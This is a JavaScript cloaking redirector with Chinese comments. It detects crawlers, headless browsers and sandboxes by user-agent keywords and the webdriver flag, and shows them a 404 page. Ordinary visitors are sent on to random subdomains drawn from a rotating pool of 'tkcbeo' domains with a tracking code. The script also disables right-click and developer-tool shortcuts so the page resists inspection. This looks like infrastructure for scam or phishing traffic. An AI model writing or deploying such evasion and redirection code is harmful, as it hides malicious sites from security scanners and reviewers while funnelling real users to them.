// 检测是否为机器人、爬虫或沙盒环境
function isBotOrSandbox() {
    const userAgent = (navigator.userAgent || navigator.vendor || window.opera).toLowerCase();
    
    // 机器人/爬虫关键词
    const botKeywords = [
        'bot', 'spider', 'crawler', 'scraper', 'monitor', 'analyzer',
        'indexer', 'slurp', 'bingpreview', 'googlebot', 'baiduspider',
        'yandexbot', 'duckduckbot', 'facebot', 'ia_archiver'
    ];
    
    // 沙盒环境检测
    const sandboxIndicators = [
        'phantom', 'puppeteer', 'selenium', 'headless', 'webdriver',
        'playwright', 'cheerio', 'jsdom'
    ];
    
    // 检查用户代理
    for (let keyword of [...botKeywords, ...sandboxIndicators]) {
        if (userAgent.indexOf(keyword) !== -1) {
            return true;
        }
    }
    
    // 额外的沙盒环境检测
    if (window.phantom || window.__nightmare || window.callPhantom) {
        return true;
    }
    
    // 检查 WebDriver 属性
    if (navigator.webdriver) {
        return true;
    }
    
    
    // 检查语言设置（沙盒环境可能缺少语言设置）
    if (!navigator.language && !navigator.languages.length) {
        return true;
    }
    
    return false;
}

// 生成随机字符串
function generateRandomString(length) {
    let characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
    let randomString = '';
    for (let i = 0; i < length; i++) {
        randomString += characters.charAt(Math.floor(Math.random() * characters.length));
    }
    return randomString;
}

// 域名池
const domainPool = ["tkcbeo.com","tkcbeo01.com", "tkcbeo66.com","tkcbeo88.com","tkcbeovip.com"];

// 检查完整二级域名是否可访问
function checkSubdomainAccessibility(fullSubdomain) {
    return new Promise((resolve) => {
        const img = new Image();
        const timeout = 3000; // 3秒超时
        
        const timer = setTimeout(() => {
            resolve(false);
        }, timeout);
        
        img.onload = function() {
            clearTimeout(timer);
            resolve(true);
        };
        
        img.onerror = function() {
            clearTimeout(timer);
            resolve(false);
        };
        
        // 尝试加载完整二级域名的资源
        img.src = `https://${fullSubdomain}/favicon.ico?t=${Date.now()}`;
    });
}

// 重定向到可用的域名
async function redirectToAvailableDomain() {
    // 如果是机器人或沙盒环境，重定向到404页面
    if (isBotOrSandbox()) {
        window.location.href = '/404.html';
        return;
    }
    
    const randomString = generateRandomString(20);
    
    // 随机打乱域名池
    const shuffledDomains = [...domainPool].sort(() => Math.random() - 0.5);
    
    // 尝试访问每个域名的二级域名
    for (let domain of shuffledDomains) {
        try {
            const fullSubdomain = `${randomString}.${domain}`;
            const isAccessible = await checkSubdomainAccessibility(fullSubdomain);
            
            if (isAccessible) {
                const targetUrl = `https://${fullSubdomain}?code=tkmall`;
                console.log(`Redirecting to: ${targetUrl}`);
                location.replace(targetUrl);
                return;
            } else {
                console.log(`Subdomain ${fullSubdomain} is not accessible, trying next...`);
            }
        } catch (error) {
            console.error(`Error checking subdomain for ${domain}:`, error);
            continue;
        }
    }
    
    // 如果所有二级域名都不可用，随机选择一个域名
    const randomDomain = shuffledDomains[Math.floor(Math.random() * shuffledDomains.length)];
    const fallbackUrl = `https://${randomString}.${randomDomain}?code=tkmall`;
    console.warn(`All subdomains failed, using random domain: ${fallbackUrl}`);
    location.replace(fallbackUrl);
}

// 页面加载完成后执行重定向
window.onload = function() {
    setTimeout(redirectToAvailableDomain, 100);
};

// 防止右键检查和开发者工具
document.addEventListener('contextmenu', function(e) {
    e.preventDefault();
    return false;
});

document.addEventListener('keydown', function(e) {
    // 禁用 F12, Ctrl+Shift+I, Ctrl+Shift+J, Ctrl+U
    if (e.key === 'F12' || 
        (e.ctrlKey && e.shiftKey && e.key === 'I') ||
        (e.ctrlKey && e.shiftKey && e.key === 'J') ||
        (e.ctrlKey && e.key === 'U')) {
        e.preventDefault();
        return false;
    }
});